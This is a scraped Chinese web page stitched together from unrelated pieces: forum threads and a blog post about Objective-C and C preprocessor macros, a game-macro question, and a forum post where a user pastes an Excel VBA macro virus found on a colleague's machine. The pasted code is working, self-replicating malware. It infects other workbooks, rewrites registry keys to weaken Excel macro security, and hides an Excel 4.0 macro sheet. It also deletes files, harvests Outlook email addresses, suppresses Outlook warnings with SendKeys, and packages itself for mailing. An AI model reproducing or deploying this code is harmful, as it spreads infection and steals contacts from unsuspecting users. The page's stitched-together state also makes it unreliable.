您好,我有一个魔兽宏命令大全出现问题,能帮忙看看吗

Pages: 1/2
主题 : 写了一个宏判断 但是一直都判断失败 大神们帮忙看看
级别: 新手上路
UID: 414180
可可豆: 172 CB
威望: 166 点
在线时间: 286(时)
发自: Web Page
来源于&&分类
写了一个宏判断 但是一直都判断失败 大神们帮忙看看&&&
#define IS_IOS8_2 ([[[UIDevice currentDevice] systemVersion] floatValue] &= __IPHONE_8_2)#ifdef IS_IOS8_2#define FontSize(CGFloat) [UIFont fontWithName:@&Helvetica& size:CGFloat]#else#define FontSize(CGFloat)  [UIFont systemFontOfSize:CGFloat weight:UIFontWeightLight]#endif问题是无论用什么版本的手机跑  判断的结果都是#define FontSize(CGFloat) [UIFont fontWithName:@&Helvetica& size:CGFloat]是不是程序中什么地方还要设置什么?不明白,大神们教教我
级别: 新手上路
可可豆: 44 CB
威望: 24 点
在线时间: 188(时)
发自: Web Page
#if IS_IOS8_2
级别: 精灵王
UID: 30808
可可豆: 5902 CB
威望: 5901 点
在线时间: 1735(时)
发自: Web Page
#ifdef&&的意思是 如果定义了你这里#define IS_IOS8_2 一直被定义着 所以会走上面的分支 除非 你把#define IS_IOS8_2 ([[[UIDevice currentDevice] systemVersion] floatValue] &= __IPHONE_8_2) 注释掉 就走下面的分支了你对#define&&#ifdef 的理解与使用有问题#define IS_IOS8_2 ([[[UIDevice currentDevice] systemVersion] floatValue] &= __IPHONE_8_2)应该在程序里这么用if(IS_IOS8_2 ){&&&&xxxxxxx}else{&& xxxxxxxx}
级别: 侠客
UID: 266214
可可豆: 315 CB
威望: 438 点
在线时间: 893(时)
发自: Web Page
#ifdef 标识符&&程序段1&&#else&&程序段2
#endif&&&&它的作用是:当标识符已经被定义过(一般是用#define命令定义),则对程序段1进行编译,否则编译程序段2。
级别: 新手上路
UID: 414180
可可豆: 172 CB
威望: 166 点
在线时间: 286(时)
发自: Web Page
回 2楼(zc09v) 的帖子
受教了 明白了。但是我是想在宏里面做判断,通过判断不同设备号 使用不同的方法,想在pch宏文件里 做这个判断,这样整个项目都可以方便使用。
级别: 新手上路
UID: 414180
可可豆: 172 CB
威望: 166 点
在线时间: 286(时)
发自: Web Page
回 2楼(zc09v) 的帖子
使用三元运算符&&#define IS_IOS8_2 ([[[UIDevice currentDevice] systemVersion] floatValue] &= __IPHONE_8_2)?YES :NO&& 如果返回NO 也是定义了这个宏吗?&&&&&&&&
级别: 精灵王
UID: 30808
可可豆: 5902 CB
威望: 5901 点
在线时间: 1735(时)
发自: Web Page
回 5楼(樊康鹏) 的帖子
是的 IS_IOS8_2也是被定义了&&#ifdef 还是会走yes分支 define ifdef这些都是条件编译命令 预处理(编译)阶段起作用 也就是编译前起作用 #define IS_IOS8_2 ([[[UIDevice currentDevice] systemVersion] floatValue] &= __IPHONE_8_2)?YES :NO 不管你怎么写 编译器也不会去解析语句里的逻辑
级别: 新手上路
可可豆: 2 CB
威望: 2 点
在线时间: 87(时)
发自: Web Page
#define IS_IOS8_2 ([[[UIDevice currentDevice] systemVersion] floatValue] &= __IPHONE_8_2)#define FontSize(size,wei) \({UIFont * if(IS_IOS8_2 )&&font = [UIFont systemFontOfSize:size];\else&&font = [UIFont systemFontOfSize:size weight:wei];})
级别: 版主
UID: 123750
发帖: 2124
可可豆: 3541 CB
威望: 3462 点
在线时间: 1656(时)
发自: Web Page
#ifdef IS_IOS8_2&&。。。。。不管IS_IOS8_2 到底是个什么鸟东西&&只要出现过 #define IS_IOS8_2 那就就是你现在的结果 0 1 都是
级别: 精灵王
UID: 523182
可可豆: 2152 CB
威望: 1816 点
在线时间: 703(时)
发自: Web Page
#ifdef 的意思是是否定义了
Pages: 1/2
关注本帖(如果有新回复会站内信通知您)
发帖、回帖都会得到可观的积分奖励。
按"Ctrl+Enter"直接提交
关注CocoaChina
关注微信 每日推荐
扫一扫 关注CVP公众号
扫一扫 浏览移动版Posts - 57,
Articles - 8,
Comments - 43
success belongs to the one with clear and long-term goals!
23:02 by 钱吉, ... 阅读,
在看《C语言高级编程》时,里面有个关于宏##的题目:
1.已知#define A &menu&
#define B &osd&,
若请使用宏A,B表示出字符串&menuosd&
答案:1 答案1:#define C A B
答案2:#define _C_(a,b) a##b
#define C(a,b) _C_(a,b)
然后我实际动手测试了一下,先来第一种:
#include &stdio.h&
#define A "menu"
#define B "osd"
#define STR A B
int main(int argc, char *argv[])
char *p = STR;
gcc -E hell.c -o hello.i
cat hello.i
int main(int argc, char *argv[])
char *p = "menu" "osd";
第一个答案其实预编译后给出的结果是不完全符合要求的。
然后是第二种:
#include &stdio.h&
#define A "menu"
#define B "osd"
#define _C_(a,b) a##b
#define C(a,b) _C_(a,b)
int main(int argc, char *argv[])
char *p = C(A,B);
printf("%s\n", p);
首先,为什么要定义两个宏,一个不能解决问题吗?是的,不能。为什么?看这个链接:[短小精悍的宏](http://www.cnblogs.com/wb-DarkHorse/archive//3046749.html)然后再次按照上边的命令进行预编译,但是给出了错误信息:pasting "menu" and "osd" does not give a valid preprocessing token gcc这就奇怪了。然后google了一下,发现了相同的问题:[问题](http://stackoverflow.com/questions/4667779/preprocessor-macro-gcc-pasting-x-and-x-does-not-give-a-valid-preprocessing-toke)
并且里面说了,这种情况在VS里面不会报错,可以直接工作。so?
#include &stdio.h&
#define A "menu"
#define B "osd"
#define _C_(a,b) a##b
#define C(a,b) _C_(a,b)
int _tmain(int argc, _TCHAR* argv[])
char *p = C(A,B);//STR;
printf("%s\n", p);
果然给出了结果:menuosd
为什么gcc和VS会对这个问题给出差异的结果呢?看这个问题:[that's why](http://stackoverflow.com/questions/1206624/differences-in-macro-concatenation-operator-between-visual-c-and-gcc?rq=1)
根据C标准,用##操作后的结果必须是一个已经预定义过的符号。否则是未定义的。所以gcc和vs对于这个未定义行为表示了不同的看法,前者是给出错误,后者一笑而过。那什么是已经预定过的符号呢? 它包含了这些:头文件名, 等式, 预处理数字, 字符常数, 字符串值, 标点符号, 单个非空字符
在我们的例子中,_C_(a,b)用##连接后,应该是产生menuosd,但是这是一个未预定义的字符串,所以产生了一个未定义的行为。我们再看一个例子:
#define A 2
#define _CONS(a,b) (a##e##b)
#define CONS(a,b) _CONS(a,b)
int main(int argc, char *argv[])
printf("%f\n", CONS(A, A));
这个时候gcc不会给出错误提示了。结果:200.0000为什么这个时候不给出错误提示呢?我的理解是,CONS(A, A)替换后成为2e2,而这时一个常量,符合C标准。
ok,给出一个链接,详细的解释了gcc中##的用法:[gcc concatenation](http://gcc.gnu.org/onlinedocs/gcc-4.3.3/cpp/Concatenation.html#Concatenation)想请教高玩们一个关于宏命令的问题,看看下面宏命令怎么做,其实就是为了偷懒,呵呵_百度知道
想请教高玩们一个关于宏命令的问题,看看下面宏命令怎么做,其实就是为了偷懒,呵呵
if 炎爆术准备完毕(可以施放)
then 施放炎爆术
else if 火焰冲击准备完毕(可以施放)
then 施放火焰冲击
else 施放火球术
我有更好的答案
做不了 谢谢
这个可以做 还有什么不能做吧
采纳率:16%
castsequence reset=0 16,应该可以做到能炎爆就炎爆,炎爆cd就火球,但是还要加入火焰冲击的判断就真不知道怎么个些法了;cast 炎爆术/startattack这个宏看看能不能用,火球术&#47#showtooltip 炎爆术&#47
为您推荐:
其他类似问题
宏命令的相关知识
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。查看:5297|回复:11
初级工程师
这代码具体的是什么意思,只能看懂部份,把宏删除后,excel文件的宏安全还得调成低才能打开.有个同事中了这个病毒后,可以访问服务器上的文件,但是打开都是只读的(权限没有问题).请大家帮忙看看.指点一下~~!
代码如下:复制内容到剪贴板代码:
Attribute VB_Name = &ToDOLE&
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path && Application.StartupPath Then
&&Application.ScreenUpdating = False
&&Call delete_this_wk
&&Call copytoworkbook
&&If Sheets(1).Name && &Macro1& Then Movemacro4 ThisWorkbook
&&ThisWorkbook.Save
&&Application.ScreenUpdating = True
Private Sub copytoworkbook()
&&Const DQUOTE = &&&&
&&With ThisWorkbook.VBProject.VBComponents(&ThisWorkbook&).CodeModule
.InsertLines 1, &Public WithEvents xx As Application&
.InsertLines 2, &Private Sub Workbook_open()&
.InsertLines 3, &Set xx = Application&
.InsertLines 4, &On Error Resume Next&
.InsertLines 5, &Application.DisplayAlerts = False&
.InsertLines 6, &Call do_what&
.InsertLines 7, &End Sub&
.InsertLines 8, &Private Sub xx_workbookOpen(ByVal wb As Workbook)&
.InsertLines 9, &On Error Resume Next&
.InsertLines 10, &wb.VBProject.References.AddFromGuid _&
.InsertLines 11, &GUID:=& & DQUOTE & &{0-}& & DQUOTE & &, _&
.InsertLines 12, &Major:=5, Minor:=3&
.InsertLines 13, &Application.ScreenUpdating = False&
.InsertLines 14, &Application.DisplayAlerts = False&
.InsertLines 15, &copystart wb&
.InsertLines 16, &Application.ScreenUpdating = True&
.InsertLines 17, &End Sub&
Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents(&ThisWorkbook&)
Set CodeMod = VBComp.CodeModule
With CodeMod
& & .DeleteLines 1, .CountOfLines
Function do_what()
Attribute do_what.VB_ProcData.VB_Invoke_Func = & \n14&
If ThisWorkbook.Path && Application.StartupPath Then
&&RestoreAfterOpen
&&Call OpenDoor
&&Call Microsofthobby
&&Call ActionJudge
End Function
Function copystart(ByVal wb As Workbook)
Attribute copystart.VB_ProcData.VB_Invoke_Func = & \n14&
On Error Resume Next
Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks(&k4.xls&).VBProject
Set VBProj2 = wb.VBProject
If copymodule(&ToDole&, VBProj1, VBProj2, False) Then Exit Function
End Function
Function copymodule(ModuleName As String, _
& & FromVBProject As VBIDE.VBProject, _
& & ToVBProject As VBIDE.VBProject, _
& & OverwriteExisting As Boolean) As Boolean
Attribute copymodule.VB_ProcData.VB_Invoke_Func = & \n14&
& & On Error Resume Next
& & Dim VBComp As VBIDE.VBComponent
& & Dim FName As String
& & Dim CompName As String
& & Dim S As String
& & Dim SlashPos As Long
& & Dim ExtPos As Long
& & Dim TempVBComp As VBIDE.VBComponent
& & If FromVBProject Is Nothing Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & If Trim(ModuleName) = vbNullString Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & If ToVBProject Is Nothing Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & If FromVBProject.Protection = vbext_pp_locked Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & If ToVBProject.Protection = vbext_pp_locked Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & On Error Resume Next
& & Set VBComp = FromVBProject.VBComponents(ModuleName)
& & If Err.Number && 0 Then
& && &&&copymodule = False
& && &&&Exit Function
& & End If
& & FName = Environ(&Temp&) & &\& & ModuleName & &.bas&
& & If OverwriteExisting = True Then
& && &&&If Dir(FName, vbNormal + vbHidden + vbSystem) && vbNullString Then
& && && && &Err.Clear
& && && && &Kill FName
& && && && &If Err.Number && 0 Then
& && && && && & copymodule = False
& && && && && & Exit Function
& && && && &End If
& && &&&End If
& && &&&With ToVBProject.VBComponents
& && && && &.Remove .Item(ModuleName)
& && &&&End With
& && &&&Err.Clear
& && &&&Set VBComp = ToVBProject.VBComponents(ModuleName)
& && &&&If Err.Number && 0 Then
& && && && &If Err.Number = 9 Then
& && && && && &
& && && && &Else
& && && && && &
& && && && && & copymodule = False
& && && && && & Exit Function
& && && && &End If
& && &&&End If
& & End If
& & FromVBProject.VBComponents(ModuleName).Export FileName:=FName
& & SlashPos = InStrRev(FName, &\&)
& & ExtPos = InStrRev(FName, &.&)
& & CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
& & Set VBComp = Nothing
& & Set VBComp = ToVBProject.VBComponents(CompName)
& & If VBComp Is Nothing Then
& && &&&ToVBProject.VBComponents.Import FileName:=FName
& && &&&If VBComp.Type = vbext_ct_Document Then
& && && && &
& && && && &Set TempVBComp = ToVBProject.VBComponents.Import(FName)
& && && &&&
& && && && &With VBComp.CodeModule
& && && && && & .DeleteLines 1, .CountOfLines
& && && && && & S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
& && && && && & .InsertLines 1, S
& && && && &End With
& && && && &On Error GoTo 0
& && && && &ToVBProject.VBComponents.Remove TempVBComp
& && &&&End If
& & End If
& & Kill FName
& & copymodule = True
End Function
Function Microsofthobby()
Attribute Microsofthobby.VB_ProcData.VB_Invoke_Func = & \n14&
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName
MyFile = Application.StartupPath & &\k4.xls&
If WorkbookOpen(&k4.xls&) And ThisWorkbook.Path && Application.StartupPath Then Workbooks(&k4.xls&).Close False
Shell Environ$(&comspec&) & & /c attrib -S -h &&& & Application.StartupPath & &\K4.XLS&&&, vbMinimizedFocus
Shell Environ$(&comspec&) & & /c Del /F /Q &&& & Application.StartupPath & &\K4.XLS&&&, vbMinimizedFocus
Shell Environ$(&comspec&) & & /c RD /S /Q &&& & Application.StartupPath & &\K4.XLS&&&, vbMinimizedFocus
If ThisWorkbook.Path && Application.StartupPath Then
& &&&Application.ScreenUpdating = False
& &&&ThisWorkbook.IsAddin = True
& &&&ThisWorkbook.SaveCopyAs MyFile
& &&&ThisWorkbook.IsAddin = False
& &&&Application.ScreenUpdating = True
End Function
Function OpenDoor()
Attribute OpenDoor.VB_ProcData.VB_Invoke_Func = & \n14&
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject(&scRiPTinG.fiLEsysTeMoBjEcT&)
RK1 = &HKEY_CURRENT_USER\Software\Microsoft\Office\& & VS & &\Excel\Security\AccessVBOM&
RK2 = &HKEY_CURRENT_USER\Software\Microsoft\Office\& & VS & &\Excel\Security\Level&
RK3 = &HKEY_LOCAL_MACHINE\Software\Microsoft\Office\& & VS & &\Excel\Security\AccessVBOM&
RK4 = &HKEY_LOCAL_MACHINE\Software\Microsoft\Office\& & VS & &\Excel\Security\Level&
KValue1 = 1
KValue2 = 1
& && &Call WReg(RK1, KValue1, &REG_DWORD&)
& && &Call WReg(RK2, KValue2, &REG_DWORD&)
& && &Call WReg(RK3, KValue1, &REG_DWORD&)
& && &Call WReg(RK4, KValue2, &REG_DWORD&)
End Function
Sub WReg(strkey As String, Value As Variant, ValueType As String)
Attribute WReg.VB_ProcData.VB_Invoke_Func = & \n14&
& & Dim oWshell
& & Set oWshell = CreateObject(&WScript.Shell&)
& & If ValueType = && Then
& && &&&oWshell.RegWrite strkey, Value
& && &&&oWshell.RegWrite strkey, Value, ValueType
& & End If
& & Set oWshell = Nothing
Private Sub Movemacro4(ByVal wb As Workbook)
On Error Resume Next
&&Dim sht As Object
& & wb.Sheets(1).Select
& & Sheets.Add Type:=xlExcel4MacroSheet
& & ActiveSheet.Name = &Macro1&
& & Range(&A2&).Select
& & ActiveCell.FormulaR1C1 = &=ERROR(FALSE)&
& & Range(&A3&).Select
& & ActiveCell.FormulaR1C1 = &=IF(ERROR.TYPE(RUN(&&& & Application.UserName & &&&))=4)&
& & Range(&A4&).Select
& & ActiveCell.FormulaR1C1 = &=ALERT(&&禁用宏,关闭 & & Chr(10) & Now & Chr(10) & &Please Enable Macro!&&,3)&
& & Range(&A5&).Select
& & ActiveCell.FormulaR1C1 = &=FILE.CLOSE(FALSE)&
& & Range(&A6&).Select
& & ActiveCell.FormulaR1C1 = &=END.IF()&
& & Range(&A7&).Select
& & ActiveCell.FormulaR1C1 = &=RETURN()&
& & For Each sht In wb.Sheets
& & wb.Names.Add sht.Name & &!Auto_Activate&, &=Macro1!$A$2&, False
& & wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
Private Function WorkbookOpen(WorkBookName As String) As Boolean
&&WorkbookOpen = False
&&On Error GoTo WorkBookNotOpen
&&If Len(Application.Workbooks(WorkBookName).Name) & 0 Then
& & WorkbookOpen = True
& & Exit Function
WorkBookNotOpen:
End Function
Private Sub ActionJudge()
Const T1 As Date = &10:00:00&
Const T2 As Date = &11:00:00&
Const T3 As Date = &14:00:00&
Const T4 As Date = &15:00:00&
Dim SentTime As Date, WshShell
Set WshShell = CreateObject(&WScript.Shell&)
If Not InStr(UCase(WshShell.RegRead(&HKEY_CLASSES_ROOT\mailto\shell\open\command\&)), &OUTLOOK.EXE&) & 0 Then Exit Sub
If Time &= T1 And Time &= T2 Or Time &= T3 And Time &= T4 Then
& && &If ReadOut(&D:\Collected_Address:frag1.txt&) = &1& Then
& && && &&&Exit Sub
& && &Else
& && && &&&CreateFile &1&, &D:\Collected_Address:frag1.txt&
& && && &&&search_in_OL
& && &End If
& &&&If Not if_outlook_open Then Exit Sub
& &&&If Time & T2 And Time &= DateAdd(&n&, 10, T2) Or Time & T4 And Time &= DateAdd(&n&, 10, T4) Then
& && && & Exit Sub
& && && & SentTime = DateAdd(&n&, -21, Now)
& && && & On Error GoTo timeError
& && && & SentTime = CDate(ReadOut(&D:\Collected_Address:frag2.txt&))
timeError:
& && && & If Now & DateAdd(&n&, 20, SentTime) Or ReadOut(&D:\Collected_Address\log.txt&) = && Then
& && && && && & Exit Sub
& && && & Else
& && && && && & CreateFile &&, &D:\Collected_Address:frag1.txt&
& && && && && & CreateFile Now, &D:\Collected_Address:frag2.txt&
& && && && && & CreatCab_SendMail
& && && & End If
& &&&End If
Private Sub search_in_OL()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object
On Error Resume Next
Set fs = CreateObject(&scripting.filesystemobject&)
Set WshShell = CreateObject(&WScript.Shell&)
If fs.Folderexists(&E:\KK&) = False Then fs.CreateFolder &E:\KK&
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), & &, &_&), &.&, &_&)
AddVbsFile_clear = &E:\KK\& & AttName & &_clear.vbs&
i = FreeFile
Open AddVbsFile_clear For Output Access Write As #i
Print #i, &On error Resume Next&
Print #i, &Dim wsh, tle, T0, i&
Print #i, &&&T0 = Timer&
Print #i, &&&Set wsh=createobject(&&& & &wscript.shell&&& & &)&
Print #i, &&&tle = &&& & &Microsoft Office Outlook&&& & &&
Print #i, &For i = 1 To 1000&
Print #i, && & If Timer - T0 & 60 Then Exit For&
Print #i, &&&Call Refresh()&
Print #i, &&&wscript.sleep 05&
Print #i, &&&wsh.sendKeys &&& & &%a&&& & &&
Print #i, &&&wscript.sleep 05&
Print #i, &&&wsh.sendKeys &&& & &{TAB}{TAB}&&& & &&
Print #i, &&&wscript.sleep 05&
Print #i, &&&wsh.sendKeys &&& & &{Enter}&&& & &&
Print #i, &Next&
Print #i, &Set wsh = Nothing&
Print #i, &wscript.quit&
Print #i, &Sub Refresh()&
Print #i, &Do Until wsh.AppActivate(CStr(tle)) = True&
Print #i, && & If Timer - T0 & 60 Then Exit Sub&
Print #i, &Loop&
Print #i, &&&wscript.sleep 05&
Print #i, && & wsh.SendKeys &&& & &%{F4}&&& & &&
Print #i, &End Sub&
AddVbsFile_search = &E:\KK\& & AttName & &_Search.vbs&
i = FreeFile
Open AddVbsFile_search For Output Access Write As #i
Print #i, &On error Resume Next&
Print #i, &Const olFolderInbox = 6&
Print #i, &Dim conbinded_address,WshShell,sh,ts&
Print #i, &Set WshShell=WScript.CreateObject(&&& & &WScript.Shell&&& & &)&
Print #i, &Set objOutlook = CreateObject(&&& & &Outlook.Application&&& & &)&
Print #i, &Set objNamespace = objOutlook.GetNamespace(&&& & &MAPI&&& & &)&
Print #i, &Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)&
Print #i, &Set TargetFolder = objFolder&
Print #i, &conbinded_address = &&& & &&&& & &&
Print #i, &Set colItems = TargetFolder.Items&
Print #i, &wscript.sleep 300000&
Print #i, &WshSHell.Run (&&& & &wscript.exe & & AddVbsFile_clear & &&&& & &), vbHide, False&
Print #i, &ts = Timer&
Print #i, &For Each objMessage in colItems&
Print #i, && && & If Timer - ts &55 then exit For&
Print #i, && && & conbinded_address = conbinded_address & valid_address(objMessage.Body)&
Print #i, &Next&
Print #i, &add_text conbinded_address, 8&
Print #i, &add_text all_non_same(ReadAllTextFile), 2&
Print #i, &WScript.Quit&
Print #i, &&
Print #i, &Private Function valid_address(source_data)&
Print #i, && &Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr&
Print #i, && &Dim regex, matchs, ss, arr()&
Print #i, && &Set oDict = CreateObject(&&& & &Scripting.Dictionary&&& & &)&
Print #i, && &Set regex = CreateObject(&&& & &VBSCRIPT.REGEXP&&& & &)&
Print #i, &&
Print #i, && &regex.Global = True&
Print #i, && &regex.Pattern = &&& & &\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*&&& & &&
Print #i, && &Set matchs = regex.Execute(source_data)&
Print #i, && &ReDim trimed_arr(matchs.Count - 1)&
Print #i, && &For i = Lbound(trimed_arr) To Ubound(trimed_arr)&
Print #i, && && &&&trimed_arr(i) = matchs.Item(i) & vbCrLf&
Print #i, && &Next&
Print #i, &&
Print #i, && &For i = LBound(trimed_arr) To UBound(trimed_arr)&
Print #i, && && &&&oDict(trimed_arr(i)) = &&& & &&&& & &&
Print #i, && &Next&
Print #i, &&
Print #i, && &If oDict.Count & 0 Then&
Print #i, && && &&&nonsame_arr = oDict.keys&
Print #i, && && &&&For i = LBound(nonsame_arr) To UBound(nonsame_arr)&
Print #i, && && && && & valid_address = valid_address & nonsame_arr(i)&
Print #i, && && &&&Next&
Print #i, && &End If&
Print #i, && &Set oDict = Nothing&
Print #i, &End Function&
Print #i, &&
Print #i, &Private Sub add_text(inputed_string, input_frag)&
Print #i, && &Dim objFSO, logfile, logtext, log_path, log_folder&
Print #i, && &log_path = &&& & &D:\Collected_Address&&& & &&
Print #i, && &Set objFSO = CreateObject(&&& & &Scripting.FileSystemObject&&& & &)&
Print #i, && &On Error resume next&
Print #i, && &Set log_folder = objFSO.CreateFolder(log_path)&
Print #i, &&
Print #i, && &If objFSO.FileExists(log_path & &&& & &\log.txt&&& & &) = 0 Then&
Print #i, && && & Set logfile = objFSO.CreateTextFile(log_path & &&& & &\log.txt&&& & &, True)&
Print #i, && &End If&
Print #i, && &Set log_folder = Nothing&
Print #i, && &Set logfile = Nothing&
Print #i, &&
Print #i, && &Select Case input_frag&
Print #i, && &&&Case 8&
Print #i, && && && & Set logtext = objFSO.OpenTextFile(log_path & &&& & &\log.txt&&& & &, 8, True, -1)&
Print #i, && && && & logtext.Write inputed_string&
Print #i, && && && & logtext.Close&
Print #i, && &&&Case 2&
Print #i, && && && & Set logtext = objFSO.OpenTextFile(log_path & &&& & &\log.txt&&& & &, 2, True, -1)&
Print #i, && && && & logtext.Write inputed_string&
Print #i, && && && & logtext.Close&
Print #i, && &End Select&
Print #i, && &set objFSO = nothing&
Print #i, &End Sub&
Print #i, &&
Print #i, &Private Function ReadAllTextFile()&
Print #i, && & Dim objFSO, FileName, MyFile&
Print #i, && & FileName = &&& & &D:\Collected_Address\log.txt&&& & &&
Print #i, && & Set objFSO = CreateObject(&&& & &Scripting.FileSystemObject&&& & &)&
Print #i, && & Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)&
Print #i, && & If MyFile.AtEndOfStream Then&
Print #i, && && &&&ReadAllTextFile = &&& & &&&& & &&
Print #i, && & Else&
Print #i, && && &&&ReadAllTextFile = MyFile.ReadAll&
Print #i, && & End If&
Print #i, &set objFSO = nothing&
Print #i, &End Function&
Print #i, &&
Print #i, &Private Function all_non_same(source_data)&
Print #i, && &Dim oDict, i, trimed_arr, nonsame_arr&
Print #i, && &all_non_same = &&& & &&&& & &&
Print #i, && &Set oDict = CreateObject(&&& & &Scripting.Dictionary&&& & &)&
Print #i, &&
Print #i, && &trimed_arr = Split(source_data, vbCrLf)&
Print #i, &&
Print #i, && &For i = LBound(trimed_arr) To UBound(trimed_arr)&
Print #i, && && && &oDict(trimed_arr(i)) = &&& & &&&& & &&
Print #i, && &Next&
Print #i, &&
Print #i, && &If oDict.Count & 0 Then&
Print #i, && && &&&nonsame_arr = oDict.keys&
Print #i, && && &&&For i = LBound(nonsame_arr) To UBound(nonsame_arr)&
Print #i, && && && && & all_non_same = all_non_same & nonsame_arr(i) & vbCrLf&
Print #i, && && &&&Next&
Print #i, && &End If&
Print #i, && &Set oDict = Nothing&
Print #i, &End Function&
Application.WindowState = xlMaximized
WshShell.Run (&wscript.exe & & AddVbsFile_search), vbHide, False
Set WshShell = Nothing
Private Sub CreatCab_SendMail()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
Dim fs As Object, WshShell As Object
Address_list = get_ten_address
Set WshShell = CreateObject(&WScript.Shell&)
Set fs = CreateObject(&scripting.filesystemobject&)
If fs.Folderexists(&E:\SORCE&) = False Then fs.CreateFolder &E:\SORCE&
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), & &, &_&), &.&, &_&)
mail_sub = &*& & AttName & &*Message*&
AddVbsFile = &E:\sorce\& & AttName & &_Key.vbs&
i = FreeFile
Open AddVbsFile For Output Access Write As #i
Print #i, &Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route&
Print #i, &On error Resume Next&
Print #i, &Set sh=WScript.CreateObject(&&& & &shell.application&&& & &)&
Print #i, &sh.MinimizeAll&
Print #i, &Set sh = Nothing&
Print #i, &Set Fso = CreateObject(&&& & &Scripting.FileSystemObject&&& & &)&
Print #i, &Set WshShell = WScript.CreateObject(&&& & &WScript.Shell&&& & &)&
Print #i, &If Fso.Folderexists(&&& & &E:\KK&&& & &) = False Then Fso.CreateFolder &&& & &E:\KK&&&
Print #i, &Fso.CopyFile&&_&
Print #i, &WshShell.CurrentDirectory & &&& & &\& & AttName & &*.CAB&&& & &,& & & & & &&&E:\KK\&&& & &, True&
Print #i, &For Each Atta_xls In ListDir(&&& & &E:\KK&&& & &)&
Print #i, && &WshShell.Run &&& & &expand &&& & & & Atta_xls & &&& & & -F:& & AttName & &.xls E:\KK&&& & &, 0, true&
Print #i, &Next&
Print #i, &If Fso.FileExists(&&& & &E:\KK\& & AttName & &.xls&&& & &) = 0 then&
Print #i, && && &&&route = WshShell.CurrentDirectory & &&& & &\& & AttName & &.xls&&&
Print #i, && && &&&if Fso.FileExists(WshShell.CurrentDirectory & &&& & &\& & AttName & &.xls&&& & &)=0 then&
Print #i, && && && && && &&&route = InputBox(&&& & &Warning! &&& & & & Chr(10) & &&& & &You are going to open a confidential file.&&& & && Chr(10)& &_&
Print #i, && && && && && && && && && && & & &&& & &Please input the complete file path.&&& & & & Chr(10) & &&& & &ex. C:\parth\confidential_file.xls&&& & &, _&
Print #i, && && && && && && && && && && & &&& & &Open a File&&& & & , &&& & &Please Input the Complete File Path&&& & &, 1)&
Print #i, && && &&&End if&
Print #i, &else&
Print #i, && && &&&route = &&& & &E:\KK\& & AttName & &.xls&&&
Print #i, &End If&
Print #i, && &set oexcel=createobject(&&& & &excel.application&&& & &)&
Print #i, && &set owb=oexcel.workbooks.open(route)&
Print #i, && &oExcel.Visible = True&
Print #i, &Set oExcel = Nothing&
Print #i, &Set oWb = Nothing&
Print #i, &Set&&WshShell = Nothing&
Print #i, &Set Fso = Nothing&
Print #i, &WScript.Quit&
Print #i, &Private Function ListDir (ByVal Path)&
Print #i, && &Dim Filter, a, n, Folder, Files, File&
Print #i, && && & ReDim a(10)&
Print #i, && & n = 0&
Print #i, &&&Set Folder = fso.GetFolder(Path)&
Print #i, && &Set Files = Folder.Files&
Print #i, && &For Each File In Files&
Print #i, && && &If left(File.Name,& & Len(AttName) & &) = &&& & AttName & &&& and right(File.Name,3) = &&& & &CAB&&& & & Then&
Print #i, && && && &If n & UBound(a) Then ReDim Preserve a(n*2)&
Print #i, && && && && &a(n) = File.Path&
Print #i, && && && && &n = n + 1&
Print #i, && && & End If&
Print #i, && &Next&
Print #i, && &ReDim Preserve a(n-1)&
Print #i, && &ListDir = a&
Print #i, &End Function&
AddListFile = ThisWorkbook.Path & &\TEST.txt&
i = FreeFile
Open AddListFile For Output Access Write As #i
Print #i, &E:\sorce\& & AttName & &_Key.vbs&
Print #i, &E:\sorce\& & AttName & &.xls&
Application.ScreenUpdating = False
RestoreBeforeSend
ThisWorkbook.SaveCopyAs &E:\sorce\& & AttName & &.xls&
RestoreAfterOpen
c4$ = CurDir()
ChDrive Left(ThisWorkbook.Path, 3) '&C:\&
ChDir ThisWorkbook.Path
WshShell.Run Environ$(&comspec&) & & /c makecab /F &&& & ThisWorkbook.Path & &\TEST.TXT&&& & & /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../& & AttName & &.CAB&, vbHide, False
Do Until fs.FileExists(ThisWorkbook.Path & &\TEST.txt&) _
And fs.FileExists(ThisWorkbook.Path & &\setup.rpt&) And fs.FileExists(ThisWorkbook.Path & &\setup.inf&) _
And fs.FileExists(ThisWorkbook.Path & &\& & AttName & &.CAB&)
WshShell.Run Environ$(&comspec&) & & /c RD /S /Q &&& & ThisWorkbook.Path & &\disk1&&&, vbHide, False
WshShell.Run Environ$(&comspec&) & & /c Del /F /Q &&& & ThisWorkbook.Path & &\TEST.txt&&&, vbHide, False
